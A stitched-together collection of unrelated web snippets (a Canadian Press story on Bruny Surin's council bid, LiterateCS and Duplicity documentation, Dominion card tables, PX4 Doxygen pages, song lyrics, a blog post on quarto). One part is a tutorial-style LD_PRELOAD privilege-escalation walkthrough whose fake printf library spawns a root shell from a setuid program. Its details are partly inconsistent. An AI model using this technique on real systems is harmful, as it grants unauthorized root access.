“The audience… was the coarsest and most brutal assembly that we have ever chanced to see. Every variety of dissolute life was represented in it. The purple nose, the scorbutic countenance, the glassy eye, the bullet head, the heavy lower jaw, the aspect of mingled lewdness and ferocity—all were there.  The atmosphere fairly reeked with vulgarity.”
The “fanatically decorous” New York Tribune, reporting on an 1866 staging of “Mazeppa”, quoted in Bernard Falk, The Naked Lady, or Storm Over Adah : A Biography Of Adah Isaacs Menken (1934). Plus ça change…


Olympic gold medallist Bruny Surin loses in bid for council seat in Laval, Que.
LAVAL, Que. - Olympic gold-medal sprinter Bruny Surin has finished as the runner-up in his first political bid.
Surin ran in Sunday's municipal byelection in Laval, Que., a city just north of Montreal, finishing second in an attempt to become councillor in the Marc-Aurele-Fortin district.
The four-time Olympian ran under the banner of the Mouvement Lavallois party led by Laval's current mayor, Marc Demers.
He lost narrowly to Michel Trottier, leader of the Parti Laval, who garnered 1,501 votes to Surin's 1,419.
The seat was vacant after the death of the previous councillor, and Surin had said his interest in promoting healthy lifestyles and his desire for community involvement was behind his decision to enter politics.
Surin, 52, was a member of the Canadian team that won a gold medal in the 4x100 metre relay at the 1996 Atlanta Olympics.
Since retiring from track and field in 2002, Surin has worked as a businessman, speaker and head of the Bruny Surin foundation, which promotes healthy living among youth.
This report by The Canadian Press was first published Nov. 25, 2019.


All of the input files may contain a special block called front matter at the very beginning of them. The front matter is a YAML block that contains metadata related to the input file or to the whole project. It is a collection of string properties that is passed to the theme assembly for controlling the HTML generation.
Typically the front matter looks something like this:
---
ProjectName: LiterateCS
GitHub: https://github.com/johtela/LiterateCS
Footer: Copyright (c) 2018 Tommi Johtela
ShowDescriptionsInToc: true
SyntaxHighlight: son-of-obsidian
---
It is delimited by three hyphens ---
and it must start on the first line of a
markdown or C# file. No other text may appear before it, excluding the comment
start token /*
when it appears in a C# file.
For some of the properties you probably want to set a same value for all files.
You don't need to duplicate these settings in every input file. Rather, define
them in the defaults.yml
file, so they will be processed before any of the
input files are read. It is still possible to override properties on individual
files, if you like.
The format of the defaults.yml
file is exactly the same as for the front
matter including the three hyphens ---
at the beginning and the end. These
separate the YAML documents
inside the file.
The list of available properties depends on the theme used. The properties available in the default theme are listed below. Property names and values are case-insensitive, so they can be typed using any convention: lowercase, uppercase, Camel case, Pascal case, etc.
Template
(string)The name of the template used for producing the HTML page. This setting is theme-dependent. In the default theme, the possible choices are:
Depending on the template used, a property might be relevant or not. The list of supported parameters available in the default theme is shown in the table below. The columns indicate if a parameter is supported by a specific template.
| Parameter | Default | Landing |
|---|---|---|
| ProjectName | * | * |
| Logo | * | * |
| GitHub | * | * |
| Download | * | * |
| NuGet | * | * |
| License | * | * |
| Footer | * | * |
| MarkdownStyle | * | |
| ShowDescriptionsInToc | * | |
| SyntaxHighlight | * | |
| UseDiagrams | * | |
| DiagramStyle | * | |
| UseMath | * | |
| Jumbotron | * |
ProjectName
(string)The name of the project that is shown in the toolbar of the HTML pages.
Logo
(string)A relative path to the image logo that is shown along with the project name. The image is scaled so that its height is 24 pixels.
GitHub
(URL)The URL of the project in GitHub. The link is shown as a button in the toolbar.
Download
(URL)The URL of the project download page. The link is shown as a button in the toolbar.
NuGet
(URL)The URL of the project NuGet page. The link is shown as a button in the toolbar.
License
(string)The name of the license file with the relative path and extension. The license file is assumed to be located under the project directory. The link is shown as a button in the toolbar.
Footer
(string)The text shown in the footer of the HTML pages.
BootstrapStyle
(string)The name of the stylesheet used with the Bootstrap library. The available styles in the default theme are (click a style to see its preview):
MarkdownStyle
(string)The name of the CSS style sheet that is used for markdown formatting. The available styles in the default theme are:
ShowDescriptionsInToc
(true/false)Control whether the description of a page is shown along with the page title in the table of contents shown in the side bar. Off by default.
SyntaxHighlight
(string)The name of the CSS style sheet that is used for syntax highlighting. The available syntax highlighting schemes in the default theme are:
UseDiagrams
(true/false)Diagram support is off by default. This is because enabling it increases page
loading times. If you want to include diagrams in your documentation, set this
property to true
. For more information refer to the
Tips & Tricks page.
DiagramStyle
(string)The name of CSS style file used by the mermaid diagramming library. The default theme includes all style files that come out-of-the-box with the library:
UseMath
(true/false)As with diagrams, support for mathematical formulas is disabled by default. The
default theme uses the MathJax library to render
the formulas, and since it is a big library, loading it takes some time. To
enable the math support, set this property to true
. For more information refer
to the Tips & Tricks page.
_Jumbotron
(markdown)The contents of the jumbotron pane of the landing page. All the parameters
that start with underscore _
will be translated to HTML automatically.


Using Duplicity (http://duplicity.nongnu.org/) with NooBaa requires the following steps:
Configure /etc/boto.cfg
Make sure you have the following lines.
[Credentials]
aws_access_key_id = <NooBaa access key id>
aws_secret_access_key = <NooBaa secret access key>
[Boto]
# If using a valid SSL certificate on NooBaa, set to True
is_secure = False
Verify that you don't have any conflict with ~/.aws/credentials
~/.aws/credentials may contain [default] section that will take priority on boto.cfg.
In such a case, you better change the default to a named profile.
Note: remember to change the applications that use ~/.aws/credentials to use the newly named profile.
Run
duplicity . "s3://<NooBaa rest endpoint>/<target bucket>"
When listing NooBaa bucket, you should see similar objects list


${{plans.OrgBasicMonthly.cost}}
Experiment and build with access to all API endpoints
${{plans.OrgProMonthly.cost}}
Entry paid tier under our Service Level Agreement
${{plans.OrgBusinessMonthly.cost}}
Enjoy higher request rates and prioritized support
${{plans.OrgBusinessPlusMonthly.cost}}
Additional support through an account manager


29 Dec 2017
I am working on the automatic logo detection in the sports videos using Deep Learning. For this, i will be using the Faster-RCNN model. To train the model with the annotations in the images, I required random images from the selected videos. Following is the script (this is in python2; for python3, it should just be a matter of using...
17 Dec 2017
What is Outreachy? Outreachy provides three-month internships for people from groups traditionally underrepresented in tech. Interns are paid a stipend of $5,500 and have a $500 travel stipend available to them. Interns work remotely with mentors from Free and Open Source Software (FOSS) communities on projects ranging from programming, user experience, documentation, illustration and graphical design, to data science. Interns...


Between October 22nd and November 30th British Columbians will vote in a mail-in referendum on the Electoral Reform. Aside from the status quo, three electoral systems are presented as options. These three options aim to create a government that proportionally represents BC voters as a whole: 40% of popular vote for a party should mean party getting 40% of seats. While the options seem complicated, the aim of this site is to show how 2017 BC election would unfold in all three cases.
Each electoral district elects a single MLA based on highest number of votes. This MLA represents the population of the district in the Legislative Assembly.
Most existing electoral districts are combined to have 2 MLA seats. One is elected based on FPTP, the other is allocated to a party in order to achieve proportional representation accross BC.
Existing districts are combined into larger districts with 1 MLA seat. Districts are grouped into regions with additional seats assigned to each. District elects one MLA based on FPTP, while regional seats are allocated to parties based on popular vote.
Existing rural districts will be converted to use MMP system. Existing (semi)urban districts will consolidate into larger districts. These will elect a group of MLAs based on a ranked ballot, likely resulting in proportional representation in the district.


{% extends "base.html" %} {% block content %}
The CIFAR-10 is a labeled subset of the 80 million tiny images dataset. They were collected by Alex Krizhevsky, Vinod Nair, and Geoffrey Hinton. The CIFAR-10 dataset consists of 60000 32x32 colour images in 10 classes, with 6000 images per class. There are 50000 training images and 10000 test images.
| # | Team Name | Score | Entries | Last Submission (Best) |
|---|
# First load/train your Pytorch model
import numpy as np
# Data loading
raw_images = np.load("cifar10_raw_test.npy")
raw_images = raw_images / 255 # Normalize range [0, 255] -> [0, 1]
# Empty variable for predictions
all_preds = np.array(())
# Split data in batches -> n is number of batches -> 10000 int 100 batches = batch_size 100
data_batches = np.split(raw_images, 100, axis=0)
for indx, features in enumerate(data_batches):
with torch.no_grad(): # Make all the operations in the block have no gradients - Test Time!
features = torch.from_numpy(features).float().to(device) # Data to Pytorch tensor
outputs = net(features) # Model inference
_, pred = outputs.max(1) # get the index of the max log-probability
all_preds = np.append(all_preds, pred.data.cpu().numpy()) # Accumulate predictions
# Finally save the predictions -> shape (10000,)
np.save("my_predictions.npy", all_preds)
Finally, upload your my_predictions.npy generated.


Space Ventures
Ground Conontrol to Major Tom
Ground Control to Major Tom.  Ground Control to Major Tom (ten, nine, eight, seven, six). Commencing countdown, engines on (five, four, three). Check ignition and may God's love be with you (two, one, liftoff). This is Ground Control to Major Tom.
You've really made the grade. And the papers want to know whose shirts you wear. Now it's time to leave the capsule if you dare. This is Major Tom to Ground Control. I'm stepping through the door.
And I'm floating in a most peculiar way. And the stars look very different today For here.
Am I sitting in a tin can. Far above the world. Planet Earth is blue. And there's nothing I can do. Though I'm past one hundred thousand miles. I'm feeling very still. And I think my spaceship, knows which way to go. Tell my wife I love her very much she knows.
Ground Control to Major Tom. Your circuit's dead, there's something wrong.
Can you hear me, Major Tom? Can you hear me, Major Tom? Can you hear
me. Major Tom? Can you "Here am I floating 'round my tin can.
Far above the moon
planet Earth is blue
And there's nothing I can do


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LD_PRELOAD Exploit:
This attack involves .so files (part of the dynamic link library) being used by programs. The attacker can add a program pretending to be one of these libraries so that when a program is run it will execute the program pretending to be a library, this is useful if you are calling a program that has the suid bit set to root, this. So when the program is first run, it will attempt to load the library it requires (but it has been replaced with code the attacker wants executed) and thus runs the commands in the program placed by the attacker, with the permissions of the owner of the calling program. A full example of this is demonstrated below:
1) $ cat me-root.c
2) ...#include <stdio.h>
3) ...#include <unistd.h>
4) ...main()
5) ...{
6) ......setuid(0);
7) ......setgid(0);
8) ......printf("Congratulations you are root!");
9) ...}
10) $ gcc -o me-root me-root.c
11) $ ls -l me-root.c
12) ---s--x--x 1 root root 4365 Mar 16 14:05 me-root.c
13) $ cat me-root_so.c
14) ...void printf(char *str)
15) ...{
16) ......execl("/bin/sh","sh",0);
17) ...}
18) $ gcc -shared -fPIC -o me-root_so.so me-root_so.c -ldl -w
Previous command: gcc -shared -o me-root_so.so me_root_so.c
19) & LD_PRELOAD=./me-root_so.so
20) $ export LD_PRELOAD
21) $ ./me-root
22) # whoami
23) root
I will explain the above attack in detail:
Lines 1 to 9: The attacker creates a simple C program that runs gives sets the userid and groupid to 0 (root).
Line 10: The attacker compiles the program created above and calls it me-root.
Lines 11 & 12: The attacker checks the file permissions on the me-root program.
Lines 13 to 17: The attacker creates the program that will pretend to be part of a library, it executes /bin/bash.
Line 18: The attacker compiles the pretend library program as a shared library and calls it me-root_so.so.
Lines 19 & 20: The attacker adds me-root_so.so, and exports LD_PRELOAD, so now when me-root is run it will execute the program
me-root_so.so (pretending to be a library) with the permissions of me-root (in this case the permissions of userid 0 - which is the root account!).
Line 21: The attacker runs the me-root program.
Lines 22 & 23: The attacker verifies who s/he is, line 23 confirms s/he is root.


HOUR
MINUTE
SECOND
Developed By - ABHijiT & SUROjiT
1
2
3
4
5
6
7
8
9
10
11
12
welcome to the project
SPACE CLOCK
2015 KG ENGRINEERING INSTITUTE - BISHNUPUR, BANKURA - DEVELOPED BY SUROJIT & ABHIJIT


"you are the most precious thing in the world"
Since most mentally disabled patients always have the fear of showing themselves out to the public due to stigma and harsh treatment from the society; we make things much easier by bringing treatment to them directly.
First we identify the cause of stress, the stage one is in before ministering the diagnosis.
Our qualified staff and doctors are always online to make sure you get the best experience.
Throughout the years we've learned the basis of speaking out and not being ashamed of how you feel.
We strive to be the best advocates in campaigning about mental illness. To provide safety and juvenile delinquency prevention, intervention and treatment through the operation seamlessly.


| Engineer | Action | 4Debt | Gain a card costing up to $4. You may trash this. If you do, gain a card costing up to $4. |
| City Quarter | Action | 8Debt | +2 Actions Reveal your hand. +1 Card per Action card revealed. |
| Overlord | Action -- Command | 8Debt | Play a non-Command Action card from the Supply costing up to $5, leaving it there. |
| Royal Blacksmith | Action | 8Debt | +5 Cards Reveal your hand; discard the Coppers. |
| Encampment/Plunder | Action -- Treasure | $2 | Include the Encampment/Plunder pile. |
| Patrician/Emporium | Action | $2 | Include the Patrician/Emporium pile. |
| Settlers/Bustling Village | Action | $2 | Include the Settlers/Bustling Village pile. |
| Castles | Victory -- Castle | $3 | Sort the castle pile by cost, putting the more expensive Castles on the bottom. For a 2-player game, us only one of each Castle. Only the top card of the pile can be gained or bought. |
| Catapult/Rocks | Action -- Attack -- Treasure | $3 | Include the Catapult/Rocks pile. |
| Chariot Race | Action | $3 | +1 Action Reveal the top card of your deck and put it into your hand. The player to your left reveals the top card of their deck. If your card costs more, +$1 and +1VP. |
| Enchantress | Action -- Attack -- Duration | $3 | Until your next turn, the first time each other player plays an Action card on their turn, they get +1 Card and +1 Action instead of following its instructions. At the start of your next turn, +2 Cards. |
| Farmers' Market | Action -- Gathering | $3 | +1 Buy If there are 4VP or more on the Farmers' Market Supply pile, take them and trash this. Otherwise, add 1VP to the pile and then +$1 per 1VP on the pile. |
| Gladiator/Fortune | Action -- Treasure | $3 | Include the Gladiator/Fortune pile. |
| Sacrifice | Action | $4 | Trash a card from your hand. If it's an... Action card, +2 Cards, +2 Actions Treasure card, +$2 Victory card, +2VP |
| Temple | Action -- Gathering | $4 | +1VP Trash from 1 to 3 differently named cards from your hand. Add 1VP to the Temple Supply pile. ---------- When you gain this, take the VP from the Temple Supply pile. |
| Villa | Action | $4 | +2 Actions +1 Buy +$1 ---------- When you gain this, put it into your hand, +1 Action, and if it's your Buy phase return to your Action phase. |
| Archive | Action -- Duration | $5 | +1 Action Set aside the top 3 cards of your deck face down (you may look at them). Now and at the start of your next two turns, put one into your hand. |
| Capital | Treasure | $5 | Worth $6 +1 Buy ---------- When you discard this from play, take 6Debt, and then you may pay off Debt. |
| Charm | Treasure | $5 | Choose one: +1 Buy and +$2; or the next time you gain a card this turn, you may also gain a differently named card with the same cost. |
| Crown | Action -- Treasure | $5 | If it's your Action phase, you may play an Action from your hand twice. If it's your Buy phase, you may play a Treasure from your hand twice. |
| Forum | Action | $5 | +3 Cards +1 Action Discard 2 cards. ---------- When you buy this, +1 Buy. |
| Groundskeeper | Action | $5 | +1 Card +1 Action This turn, when you gain a Victory card, +1VP. |
| Legionary | Action -- Attack | $5 | +$3 You may reveal a Gold from your hand. If you do, each other player discards down to 2 cards in hand, then draws a card. |
| Wild Hunt | Action -- Gathering | $5 | Choose one: +3 Cards and add 1VP to the Wild Hunt Supply pile; or gain an Estate, and if you do, take the VP from the pile. |
| Humble Castle | Treasure -- Victory -- Castle | $3 | Worth $1 ---------- Worth 1VP per Castle you have. |
| Crumbling Castle | Victory -- Castle | $4 | 1VP ---------- When you gain or trash this, +1VP and gain a Silver. |
| Small Castle | Action -- Victory -- Castle | $5 | Trash this or a Castle from your hand. If you do, gain a Castle. ---------- 2VP |
| Haunted Castle | Victory -- Castle | $6 | 2VP ---------- When you gain this during your turn, gain a Gold, and each other player with 5 or more cards in hand puts 2 cards from their hand onto their deck. |
| Opulent Castle | Action -- Victory -- Castle | $7 | Discard any number of Victory cards. +$2 per card discarded. ---------- 3VP |
| Sprawling Castle | Victory -- Castle | $8 | 4VP ---------- When you gain this, gain a Duchy or 3 Estates. |
| Grand Castle | Victory -- Castle | $9 | 5VP ---------- When you gain this, reveal your hand. +1VP per Victory card in your hand and/or in play. |
| King's Castle | Victory -- Castle | $10 | Worth 2VP per Castle you have. |
| Advance | Event | $0 | You may trash an Action card from your hand. If you do, gain an Action card costing up to $6. |
| Triumph | Event | 5Debt | Gain an Estate. If you did, +1VP per card you've gained this turn. |
| Annex | Event | 8Debt | Look through your discard pile. Choose up to 5 cards from it and shuffle the rest into your deck. Gain a Duchy. |
| Donate | Event | 8Debt | After this turn, put all cards from your deck and discard pile into your hand, trash any number, shuffle your hand into your deck, then draw 5 cards. |
| Delve | Event | $2 | +1 Buy Gain a Silver. |
| Tax | Event | $2 | Add 2Debt to a Supply pile. Setup: Add 1Debt to each Supply pile. When a player buys a card, they take the Debt from its pile. |
| Banquet | Event | $3 | Gain two Coppers and a non-Victory card costing up to $5. |
| Ritual | Event | $9 | Gain a Curse. If you do, trash a card from your hand. +1VP per $1 it cost. |
| Salt the Earth | Event | $4 | +1VP Trash a Victory card from the Supply. |
| Wedding | Event | $4+3Debt | +1VP Gain a Gold. |
| Windfall | Event | $5 | If your deck and discard pile are empty, gain 3 Golds. |
| Conquest | Event | $6 | Gain 2 Silvers. +1VP per Silver you've gained this turn. |
| Dominate | Event | $14 | Gain a Province. If you do, +9VP. |
| Aqueduct | Landmark | When you gain a Treasure, move 1VP from its pile to this. When you gain a Victory card, take the VP from this. Setup: Put 8VP on the Silver and Gold piles. | |
| Arena | Landmark | At the start of your Buy phase, you may discard an Action card. If you do, take 2VP from here. Setup: Put 6VP here per player. | |
| Bandit Fort | Landmark | When scoring, -2VP for each Silver and each Gold you have. | |
| Basilica | Landmark | When you buy a card, if you have $2 or more left, take 2VP from here. Setup: Put 6VP here per player. | |
| Baths | Landmark | When you end your turn without having gained a card, take 2VP from here. Setup: Put 6VP here per player. | |
| Battlefield | Landmark | When you gain a Victory card, take 2VP from here. Setup: Put 6VP here per player. | |
| Colonnade | Landmark | When you buy an Action card, if you have a copy of it in play, take 2VP from here. Setup: Put 6VP here per player. | |
| Defiled Shrine | Landmark | When you gain an Action, move 1VP from its pile to this. When you buy a Curse, take the VP from this. Setup: Put 2VP on each non-Gathering Action Supply pile. | |
| Fountain | Landmark | When scoring, 15VP if you have at least 10 Coppers. | |
| Keep | Landmark | When scoring, 5VP per differently named Treasure you have, that you have more copies of than each other player, or tied for most. | |
| Labyrinth | Landmark | When you gain a 2nd card in one of your turns, take 2VP from here. Setup: Put 6VP here per player. | |
| Mountain Pass | Landmark | When you are the first player to gain a Province, after that turn, each player bids once, up to 40Debt, ending with you. High bidder gets +8VP and takes the Debt they bid. | |
| Museum | Landmark | When scoring, 2VP per differently named card you have. | |
| Obelisk | Landmark | When scoring, 2VP per card you have from the chosen pile. Setup: Choose a random Action Supply pile. | |
| Orchard | Landmark | When scoring, 4VP per differently named Action card you have 3 or more copies of. | |
| Palace | Landmark | When scoring, 3VP per set you have of Copper-Silver-Gold. | |
| Tomb | Landmark | When you trash a card, +1VP. | |
| Tower | Landmark | When scoring, 1VP per non-Victory card you have from an empty Supply pile. | |
| Triumphal Arch | Landmark | When scoring, 3VP per copy you have of the 2nd most common Action card among your cards (if it's a tie, count either). | |
| Wall | Landmark | When scoring, -1VP per card you have after the first 15. | |
| Wolf Den | Landmark | When scoring, -3VP per card you have exactly one copy of. |
| Encampment | Action | $2 | +2 Cards +2 Actions You may reveal a Gold or Plunder from your hand. If you do not, set this aside, and return it to the Supply at the start of Clean-up. (This is the top half of the Encampment/Plunder pile.) |
| Plunder | Treasure | $5 | Worth $2 +1VP (This is the bottom half of the Encampment/Plunder pile.) |
| Patrician | Action | $2 | +1 Card +1 Action Reveal the top card of your deck. If it costs $5 or more, put it into your hand. (This is the top half of the Patrician/Emporium pile.) |
| Emporium | Action | $5 | +1 Card +1 Action +$1 ---------- When you gain this, if you have at least 5 Action cards in play, +2VP. (This is the bottom half of the Patrician/Emporium pile.) |
| Settlers | Action | $2 | +1 Card +1 Action Look through your discard pile. You may reveal a Copper from it and put it into your hand. (This is the top half of the Settlers/Bustling Village pile.) |
| Bustling Village | Action | $5 | +1 Card +3 Actions Look through your discard pile. You may reveal a Settlers from it and put it into your hand. (This is the bottom half of the Settlers/Bustling Village pile.) |
| Catapult | Action -- Attack | $3 | +$1 Trash a card from your hand. If it costs $3 or more, each other player gains a Curse. If it's a Treasure, each other player discards down to 3 cards in hand. (This is the top half of the Catapult/Rocks pile.) |
| Rocks | Treasure | $4 | Worth $1 ---------- When you gain or trash this: If it's your Buy phase, gain a Silver on your deck, otherwise gain a Silver to your hand. (This is the bottom half of the Catapult/Rocks pile.) |
| Gladiator | Action | $3 | +$2 Reveal a card from your hand. The player to your left may reveal a copy from their hand. If they do not, +$1 and trash a Gladiator from the Supply. (This is the top half of the Gladiator/Fortune pile.) |
| Fortune | Treasure | $8+8Debt | +1 Buy When you play this, double your $ if you haven't yet this turn. ---------- When you gain this, gain a Gold per Gladiator you have in play. (This is the bottom half of the Gladiator/Fortune pile.) |


Step 4: Assembly of the enclosure¶
Mounting the motor¶
Parts: 4 x motor standoffs, 4 x enclosure screws, 4 x motor mount screws, motor/motor mount assembly
Place the four motor standoffs into the enclosure using four of the enclosure screws. Mount the motor onto the standoffs as shown in the image below using the four (longer) motor mount screws.
Assembly of arylic enclosure¶
Parts: 5 x lasercut acrylic enclosure parts, 4 x enclosure standoffs, 8 x enclosure screws
Place the last four enclosure standoffs into the corner of the enclosure base using four of the enclosure screws. Place the remaining enclosure sides and top onto the enclosure. Use four of the enclosure screws into each of the corner standoffs to hold everything in place.
Add the knob for variable speed control¶
Parts: Knob for potentiometer
Press fit the knob onto the potentiometer as shown in the images below. Note: the knob has an internal notch which lines up with the flat side of the potentiometer.


Look fab with our bespoke maternity range, simply rent for the months you need.
From swimwear to winter coats, we have all your maternity fashion needs covered
No need to buy a whole maternity wardrobe, save money, space and time, renting our maternity clothes kits.


|
PX4 Firmware
PX4 Autopilot Software http://px4.io
|
#include <KalmanFilter.h>
Public Member Functions | |
| KalmanFilter () | |
| Default constructor, state not initialized. More... | |
| KalmanFilter (matrix::Vector< float, 2 > &initial, matrix::Matrix< float, 2, 2 > &covInit) | |
| Constructor, initialize state. More... | |
| virtual | ~KalmanFilter () |
| Default desctructor. More... | |
| void | init (matrix::Vector< float, 2 > &initial, matrix::Matrix< float, 2, 2 > &covInit) |
| Initialize filter state. More... | |
| void | init (float initial0, float initial1, float covInit00, float covInit11) |
| Initialize filter state, only specifying diagonal covariance elements. More... | |
| void | predict (float dt, float acc, float acc_unc) |
| Predict the state with an external acceleration estimate. More... | |
| bool | update (float meas, float measUnc) |
| Update the state estimate with a measurement. More... | |
| void | getState (matrix::Vector< float, 2 > &state) |
| Get the current filter state. More... | |
| void | getState (float &state0, float &state1) |
| Get the current filter state. More... | |
| void | getCovariance (matrix::Matrix< float, 2, 2 > &covariance) |
| Get state covariance. More... | |
| void | getCovariance (float &cov00, float &cov11) |
| Get state variances (diagonal elements) More... | |
| void | getInnovations (float &innov, float &innovCov) |
| Get measurement innovation and covariance of last update call. More... | |
Private Attributes | |
| matrix::Vector< float, 2 > | _x |
| matrix::Matrix< float, 2, 2 > | _covariance |
| float | _residual |
| float | _innovCov |
Definition at line 58 of file KalmanFilter.h.
|
inline |
Default constructor, state not initialized.
Definition at line 64 of file KalmanFilter.h.
| landing_target_estimator::KalmanFilter::KalmanFilter | ( | matrix::Vector< float, 2 > & | initial, |
| matrix::Matrix< float, 2, 2 > & | covInit | ||
| ) |
Constructor, initialize state.
Definition at line 46 of file KalmanFilter.cpp.
References init().
|
inlinevirtual |
Default desctructor.
Definition at line 74 of file KalmanFilter.h.
References dt, getCovariance(), getInnovations(), getState(), init(), predict(), state, and update().
| void landing_target_estimator::KalmanFilter::getCovariance | ( | matrix::Matrix< float, 2, 2 > & | covariance | ) |
Get state covariance.
| covariance | Covariance of the state |
Definition at line 136 of file KalmanFilter.cpp.
References _covariance.
Referenced by landing_target_estimator::LandingTargetEstimator::update(), and ~KalmanFilter().
| void landing_target_estimator::KalmanFilter::getCovariance | ( | float & | cov00, |
| float & | cov11 | ||
| ) |
Get state variances (diagonal elements)
| cov00 | Variance of first state |
| cov11 | Variance of second state |
Definition at line 141 of file KalmanFilter.cpp.
References _covariance.
| void landing_target_estimator::KalmanFilter::getInnovations | ( | float & | innov, |
| float & | innovCov | ||
| ) |
Get measurement innovation and covariance of last update call.
| innov | Measurement innovation |
| innovCov | Measurement innovation covariance |
Definition at line 147 of file KalmanFilter.cpp.
References _innovCov, and _residual.
Referenced by landing_target_estimator::LandingTargetEstimator::update(), and ~KalmanFilter().
| void landing_target_estimator::KalmanFilter::getState | ( | matrix::Vector< float, 2 > & | state | ) |
Get the current filter state.
| x1 | State |
Definition at line 125 of file KalmanFilter.cpp.
References _x.
Referenced by landing_target_estimator::LandingTargetEstimator::update(), and ~KalmanFilter().
| void landing_target_estimator::KalmanFilter::getState | ( | float & | state0, |
| float & | state1 | ||
| ) |
Get the current filter state.
| state0 | First state |
| state1 | Second state |
Definition at line 130 of file KalmanFilter.cpp.
References _x.
| void landing_target_estimator::KalmanFilter::init | ( | matrix::Vector< float, 2 > & | initial, |
| matrix::Matrix< float, 2, 2 > & | covInit | ||
| ) |
Initialize filter state.
| initial | initial state |
| covInit | initial covariance |
Definition at line 51 of file KalmanFilter.cpp.
References _covariance, and _x.
Referenced by init(), KalmanFilter(), landing_target_estimator::LandingTargetEstimator::update(), and ~KalmanFilter().
| void landing_target_estimator::KalmanFilter::init | ( | float | initial0, |
| float | initial1, | ||
| float | covInit00, | ||
| float | covInit11 | ||
| ) |
Initialize filter state, only specifying diagonal covariance elements.
| initial0 | first initial state |
| initial1 | second initial state |
| covInit00 | initial variance of first state |
| covinit11 | initial variance of second state |
Definition at line 57 of file KalmanFilter.cpp.
References init().
| void landing_target_estimator::KalmanFilter::predict | ( | float | dt, |
| float | acc, | ||
| float | acc_unc | ||
| ) |
Predict the state with an external acceleration estimate.
| dt | Time delta in seconds since last state change |
| acc | Acceleration estimate |
| acc_unc | Variance of acceleration estimate |
Definition at line 69 of file KalmanFilter.cpp.
References _covariance, _x, dt, and matrix::Matrix< Type, M, N >::transpose().
Referenced by landing_target_estimator::LandingTargetEstimator::update(), and ~KalmanFilter().
| bool landing_target_estimator::KalmanFilter::update | ( | float | meas, |
| float | measUnc | ||
| ) |
Update the state estimate with a measurement.
| meas | state measeasurement |
| measUnc | measurement uncertainty |
Definition at line 88 of file KalmanFilter.cpp.
References _covariance, _innovCov, _residual, _x, f(), and matrix::Matrix< Type, M, N >::identity().
Referenced by landing_target_estimator::LandingTargetEstimator::update(), and ~KalmanFilter().
|
private |
Definition at line 144 of file KalmanFilter.h.
Referenced by getCovariance(), init(), predict(), and update().
|
private |
Definition at line 148 of file KalmanFilter.h.
Referenced by getInnovations(), and update().
|
private |
Definition at line 146 of file KalmanFilter.h.
Referenced by getInnovations(), and update().
|
private |
Definition at line 142 of file KalmanFilter.h.
Referenced by getState(), init(), predict(), and update().


--- layout: doc title: Documentation ---
The goals buffer settings allow configuration of Proof General for proof by pointing or similar features. See the Proof General documentation web page for a link to the technical report ECS-LFCS-97-368 which hints at how to use these settings.
Command to change to the goal ‘%s’.
Command sent when ‘pg-goals-button-action’ is requested on a goal.
Command sent when ‘pg-goals-button-action’ is requested on an assumption.
Regexp indicating that the proof process has identified an error.
Regexp matching start of an output from the prover after pbp commands.
In particular, after a ‘pbp-goal-command
’ or a ‘pbp-hyp-command
’.
Regexp matching end of output from the prover after pbp commands.
In particular, after a ‘pbp-goal-command
’ or a ‘pbp-hyp-command
’.
Opening special character for subterm markup.
Subsequent special characters with values below
‘pg-subterm-first-special-char
’ are assumed to be subterm position
indicators. Annotations should be finished with ‘pg-subterm-sep-char
’;
the end of the concrete syntax is indicated by ‘pg-subterm-end-char
’.
If ‘pg-subterm-start-char
’ is nil, subterm markup is disabled.
Finishing special for a subterm markup.
See doc of ‘pg-subterm-start-char
’.
Annotation regexp that indicates the beginning of a "top" element.
A "top" element may be a sub-goal to be proved or a named hypothesis,
for example. It could also be a literal command to insert and
send back to the prover.
The function ‘pg-topterm-goalhyplit-fn
’ examines text following this
special character, to determine what kind of top element it is.
This setting is also used to see if proof-by-pointing features are configured. If it is unset, some of the code for parsing the prover output is disabled.
Closing special character for subterm markup.
See ‘pg-subterm-start-char
’.
This document was generated on April 14, 2023 using texi2html 1.82.


TTransformation is an abstract ancestor for bitmap transformation classes. TTransformation objects are passed as parameter in the Transform function, which actually performs the bitmap transformation. Custom descendants must at least implement ReverseTransformFloat (and TransformFloat, if forward transformation is supported), since this is the top precision level in the transformation system of Graphics32. All descendants must override at least this level, but for optimal performance, it is recommended that the integer and fixed versions are implemented, respectively.


Quarto as a tool for reproducible research projects in psychology
Last knit: 2023-08-04
For a good few years I have been adopting reproducible workflows for my cognitive psychology research projects. Vuorre and Crump (2021) discussed an R-based approach to creating and sharing research assets in a reproducible manner, and we called it vertical. Since then I have used that approach for most new projects in the lab. However, quarto is the NKOTB, and I’ve been itching to try it for managing assets in a psych research project. And, in the last few days I got the chance to start a project from scratch using quarto, actually several projects. I’m going to digest some of my experiences and lay breadcrumbs for my future self about what I like and am learning so far.
Note: this post is mainly inspired by the fact that I just converted my lab website where this blog is hosted from a pkgdown website to a quarto website. So, I really feel like I need to make a new post to justify the time it took to make the conversion. TLDR: I’m not totally sure what the purpose of the post is yet.
The vertical approach
Here’s an overview of the vertical approach, which uses the R-package template as a starting point for organizing files. This has the benefit of being able to quickly create websites using {pkgdown}. It’s an R-centered approach, which is great for me because I use R for everything. So, if my project includes custom R functions, I can immediately drop them into the R-package template and create an R package for the project. This process can be useful for documenting data from the project too. Additional assets such as experiment script code, posters, manuscripts, etc., are given their own folders. We go into much more depth about vertical in the paper and on the vertical webpage.
Using vertical for my own projects I gravitated toward following pkgdown guidelines for almost everything. For example, many of the assets I was creating were R Markdown documents. I put those in the vignettes folder, which allows pkgdown to render them automatically. Pkgdown is intended to create websites for R packages and not websites in general, so customizing the website to the needs of particular project can be challenging.
What’s most important to me is adopting an organized and convenient method for creating and sharing assets in a reproducible way. This can be done in many languages, and doesn’t need to be R centric. The same goals can also be accomplished without twisting things like pkgdown into positions they weren’t intended for. Enter quarto.
Trying quarto on for size
Quarto is new, still working out some kinks, but in my experience so far, it’s a mean reproducible document creation machine. And, I heart quarto.
Over the summer I dabbled with the new quarto book format, and converted my undergraduate statistics textbook from a bs4_book to quarto book. That process was relatively painless, and I was encouraged to try more quarto.
I often mentor students in the process of learning R for various purposes, and I like to show students how they can make websites and blogs with R Studio, and then use them as a venue to learn R and showcase their work. Blogs and websites were pretty easy before, and they are still very easy with quarto. I had finagled a blog system based on pkgdown rendering vignettes, and after seeing the quarto version I knew I’d make the switch at some point.
Next semester I’m teaching two courses that will both involve students creating blogs and websites. I was leaning toward using quarto, and now even more so. I have been using a pkgdown approach for building course websites (e.g., like this one for introductory cognition), but after seeing some examples of quarto websites for a course (e.g., like data-science in a box), I decided I needed to try that too (e.g., this emerging course website).
